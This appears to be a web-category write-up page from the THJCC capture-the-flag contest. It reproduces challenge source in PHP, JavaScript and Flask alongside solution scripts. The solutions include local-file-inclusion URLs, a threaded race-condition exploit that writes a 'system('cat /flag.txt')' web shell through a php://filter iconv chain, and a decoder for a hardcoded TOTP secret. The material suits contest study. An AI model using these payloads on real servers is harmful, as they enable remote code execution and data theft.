Web分類：#

1
{"result":{"role":"guest","username":"guest"},"success":true}

6 collapsed lines
1
<?php
2
session_start();
3

4
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
5
    $_SESSION['perms'] = [];
6

7
    if ($_POST['username'] === 'admin') {
8
        die("Admin login is permanently disabled.");
9
    }
8 collapsed lines
10

11
    $perm_key = $_POST['username'];
12
    $_SESSION['perms'][$perm_key] = 'guest_access';
13

14
    $_SESSION['username'] = $_POST['username'];
15
    header('location: /index.php');
16
    die();
17
}

1
From: Agent K
2
To: Agent Q
3
Subject: Web Interface Review
4

5
Q,
6

7
I’ve taken a look at the new web interface you deployed last night.
8
The functionality seems fine, but I’m concerned about how files are being handled.
9

10
Exposing file paths through user-controllable parameters is always risky.
11
You know how creative outsiders can be when they start poking around.
12

13
Please make sure the client-side logic is solid and add some extra
14
security measures before this goes any further.
15

16
We cannot afford careless mistakes this time.
17

18
— K

1
From: Agent Q
2
To: Agent K
3
Subject: Re: Web Interface Review
4

5
K,
6

7
No need to worry.
8

9
I’ve already implemented additional client-side protections.
10
There is a dedicated script, "script.js" validates file paths, blocks traversal
11
patterns, and ensures only approved resources can be accessed.
12

13
The logic is a bit complex, but that’s intentional.
14
Anyone trying to tamper with the system will be stopped before reaching
15
anything sensitive.
16

17
I can personally guarantee that the interface is secure now.
18

19
You have my word.
20

21
— Q

1
From: Agent K
2
To: Agent Q
3
Subject: Re: Re: Web Interface Review
4

5
Good to hear.
6

7
As long as the safeguards are in place, we should be fine.
8
Just remember — under no circumstances should sensitive files be exposed.
9

10
This includes internal configurations, shared libraries,
11
and especially the flag file.
12

13
If anything like /flag.txt or other critical assets were ever leaked,
14
the consequences would be severe.
15

16
Let’s hope your precautions are as effective as you claim.
17

18
— K

1
(function () {
2
    "use strict";
110 collapsed lines
3

4
    // ====== string table ======
5
    const _0x5a3d = [
6
        "log",
7
        "warn",
8
        "error",
9
        "Security check passed",
10
        "Invalid file path detected",
11
        "Loading file",
12
        "obfuscation.php",
13
        "file",
14
        "..",
15
        "/",
16
        "%2e%2e",
17
        "base64",
18
        "atob",
19
        "btoa"
20
    ];
21

22
    function _0x1c9a(i) {
23
        return _0x5a3d[i];
24
    }
25

26
    // ====== security module ======
27
    const SecurityModule = (function () {
28
        let state = {
29
            validated: false,
30
            token: null,
31
            timestamp: Date.now()
32
        };
33

34
        function generateToken() {
35
            const raw = Math.random().toString(36).substring(2);
36
            return window[_0x1c9a(12)](raw);
37
        }
38

39
        function validatePath(path) {
40
            if (!path) return false;
41

42
            // LFI detection
43
            if (
44
                path.includes(_0x1c9a(8)) ||
45
                path.includes(_0x1c9a(10)) ||
46
                path.split(_0x1c9a(9)).length > 10
47
            ) {
48
                console[_0x1c9a(1)](_0x1c9a(4));
49
                return false;
50
            }
51

52
            return true;
53
        }
54

55
        function init() {
56
            state.token = generateToken();
57
            state.validated = true;
58
            console[_0x1c9a(0)](_0x1c9a(3));
59
        }
60

61
        return {
62
            init,
63
            validatePath,
64
            state
65
        };
66
    })();
67

68
    // ====== loader ======
69
    function loadFileSecurely(file) {
70
        console[_0x1c9a(0)](_0x1c9a(5), file);
71

72
        if (!SecurityModule.validatePath(file)) {
73
            console[_0x1c9a(2)]("Blocked by client-side filter");
74
            return;
75
        }
76

77
        // request construction
78
        const fakeUrl =
79
            _0x1c9a(6) +
80
            "?" +
81
            _0x1c9a(7) +
82
            "=" +
83
            encodeURIComponent(file);
84

85
        void fakeUrl;
86
    }
87

88
    function entropyNoise() {
89
        let x = 0;
90
        for (let i = 0; i < 1000; i++) {
91
            x ^= Math.random() * i;
92
        }
93
        return x;
94
    }
95

96
    entropyNoise();
97

98
    // ====== Init ======
99
    document.addEventListener("DOMContentLoaded", function () {
100
        SecurityModule.init();
101

102
        // Pretend to protect buttons
103
        const buttons = document.querySelectorAll("a.btn");
104
        buttons.forEach(btn => {
105
            btn.addEventListener("mouseover", function () {
106
                const href = btn.getAttribute("href") || "";
107
                loadFileSecurely(href);
108
            });
109
        });
110
    });
111

112
})();

1
http://chal.thjcc.org:30000/download.php?file=files/flag.txt
2
http://chal.thjcc.org:30000/download.php?file=flag.txt

1
#!/bin/bash
2

3
(
4
    inotifywait -m -r -e create --format '%w%f' /var/www/html | while read NEWFILE
5
    do
6
        if [ "$(basename "$NEWFILE")" != "index.php" ]; then
7
            sleep 0.67
8
            rm -f "$NEWFILE"
9
        fi
10
    done
11
) &
12

13
exec docker-php-entrypoint apache2-foreground

1
<?php
2
    error_reporting(0);
3
    $content = $_POST['content'];
4
    $file = $_GET['file'];
5

6
    if (isset($file) && isset($content)) {
7

8
        $exit = '<?php exit(); ?>';
9
        $blacklist = ['base64', 'rot13', 'string.strip_tags'];
10

11
        foreach($blacklist as $b){
12
            if(stripos($file, $b) !== false){
13
                die('Hacker!!!');
14
            }
15
        }
16

17
        file_put_contents($file, $exit . $content);
18

19
    usleep(50000);
20

21
        echo 'file written: ' . $file;
22
    }
23

24
    highlight_file(__FILE__);
25
?>

1
import requests
2
import threading
3
import os
4
import time
5

6
target = "http://chal.thjcc.org:8080/index.php"
7
shell_url = "http://chal.thjcc.org:8080/shell.php"
8

9
# 1. 自動對齊 Payload 生成器
10
# 我們要執行的原始指令
11
cmd = "<?php system('cat /flag.txt');?>"
12

13
# 確保 Payload 是偶數長度，如果不是就補一個空格
14
if len(cmd) % 2 != 0:
15
    cmd += " "
16

17
# 將 Payload 每兩個字元翻轉一次
18
# 例如: "ab" -> "ba"
19
flipped_payload = "".join([cmd[i+1] + cmd[i] for i in range(0, len(cmd), 2)])
20

21
print(f"[*] Raw Payload: {cmd}")
22
print(f"[*] Translated: {flipped_payload}")
23

24
def write():
25
    # 使用 Session 保持連線，速度會快很多
26
    s = requests.Session()
27
    params = {
28
        "file": "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php"
29
    }
30
    data = {"content": flipped_payload}
31
    while True:
32
        try:
33
            s.post(target, params=params, data=data, timeout=1)
34
        except:
35
            pass
36

37
def read():
38
    s = requests.Session()
39
    while True:
40
        try:
41
            r = s.get(shell_url, timeout=1)
42
            if "THJCC{" in r.text:
43
                print(r.text.strip())
44

45
        except:
46
            pass
47

48
def start_race():
49
    # 開 15 個執行緒寫入，15 個執行緒讀取
50
    for _ in range(15):
51
        threading.Thread(target=write, daemon=True).start()
52
    for _ in range(15):
53
        threading.Thread(target=read, daemon=True).start()
54

55
    while True:
56
        time.sleep(1)
57

58
if __name__ == "__main__":
59
    start_race()

1
from flask import Flask, request, render_template_string
2
import subprocess, shlex
3
import pyotp
4
import base64
5

6
app = Flask(__name__)
7

8
INDEX_HTML = """
9
<!doctype html>
10
<html lang="zh-Hant">
11
<head>
12
  <meta charset="utf-8">
13
  <title>Whois 查詢</title>
14
  <meta name="viewport" content="width=device-width, initial-scale=1">
15
  <style>
16
    body { font-family: monospace; margin: 2rem; }
17
    form { margin-bottom: 1rem; }
18
    input[type=text]{ width: 36rem; max-width: 100%; padding: .5rem; }
19
    button{ padding: .5rem 1rem; }
20
    pre { white-space: pre-wrap; word-wrap: break-word; background:#f4f4f4; padding:1rem; border-radius:.5rem; }
21
    .argv{ color:#555; font-size:.9rem; }
22
  </style>
23
</head>
24
<body>
25
  <h1>Whois 查詢</h1>
26
  <form method="POST" action="/whois">
27
    <label>Domain name
28
      <input name="domain" type="text" placeholder="example.com" required>
29
    </label>
30
    <button type="submit">查詢</button>
31
  </form>
32
  {% if result is not none %}
33
    <h2>結果</h2>
34
    <pre>{{ result }}</pre>
35
  {% elif error is not none %}
36
    <h2>錯誤</h2>
37
    <pre>{{ error }}</pre>
38
  {% endif %}
39
</body>
40
</html>
41
"""
42
FLAG_VALUE = "THJCC{fake_flag_for_test}"
43
LOCAL_IPS = {"127.0.0.1", "::1"}
44

45
_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="
46
_XOR_KEY = "thjcc"
47

48
def _xor_decode(data: str, key: str) -> str:
49
    raw = base64.b64decode(data)
50
    return "".join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(raw))
51

52
def _get_totp_secret():
53
    return _xor_decode(_ENC_SECRET, _XOR_KEY)
54

55
def _deny(msg: str, code: int = 403):
56
    return (msg + "\n", code, {"Content-Type": "text/plain; charset=utf-8"})
57

58
@app.route("/", methods=["GET"])
59
def index():
60
    return render_template_string(INDEX_HTML, result=None, error=None, argv=None)
61

62
@app.route("/whois", methods=["POST"])
63
def whois_lookup():
64
    raw = request.form.get("domain", "").strip()
65
    if not raw:
66
        return render_template_string(INDEX_HTML, result=None, error="缺少參數", argv=None), 400
67

68
    try:
69
        args = ["whois"] + shlex.split(raw)
70
        proc = subprocess.run(args, capture_output=True, text=True, timeout=15)
71
    except subprocess.TimeoutExpired:
72
        return render_template_string(INDEX_HTML, result=None, error="查詢逾時", argv=" ".join(args)), 504
73
    except Exception as e:
74
        return render_template_string(INDEX_HTML, result=None, error=str(e), argv=" ".join(args) if 'args' in locals() else None), 500
75

76
    if proc.returncode != 0:
77
        return render_template_string(INDEX_HTML, result=None, error=proc.stderr or "whois 執行失敗", argv=" ".join(args)), 500
78

79
    return render_template_string(INDEX_HTML, result=proc.stdout, error=None, argv=" ".join(args))
80

81
@app.route("/flag", methods=["POST"])
82
def flag():
83
    if request.remote_addr not in LOCAL_IPS:
84
        return _deny("error: local only", 403)
85

86
    if request.headers.get("admin", "") != "thjcc":
87
        return _deny("error: missing/invalid admin header", 403)
88

89
    safekey = request.form.get("safekey", "").strip()
90
    if not safekey:
91
        return _deny("error: missing safekey", 400)
92

93
    totp = pyotp.TOTP(_get_totp_secret())
94
    if not totp.verify(safekey):
95
        return _deny("error: invalid totp", 403)
96

97
    return (FLAG_VALUE + "\n", 200, {"Content-Type": "text/plain; charset=utf-8"})
98

99
if __name__ == "__main__":
100
    app.run(host="0.0.0.0", port=13316)

1
import base64, pyotp
2

3
_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="
4
_XOR_KEY = "thjcc"
5

6
def _xor_decode(data: str, key: str) -> str:
7
    raw = base64.b64decode(data)
8
    return "".join(chr(b ^ ord(key[i % len(key)])) for i, b in enumerate(raw))
9

10
secret = _xor_decode(_ENC_SECRET, _XOR_KEY)
11
print("secret =", secret)
12

13
totp = pyotp.TOTP(secret)
14
print("current code =", totp.now())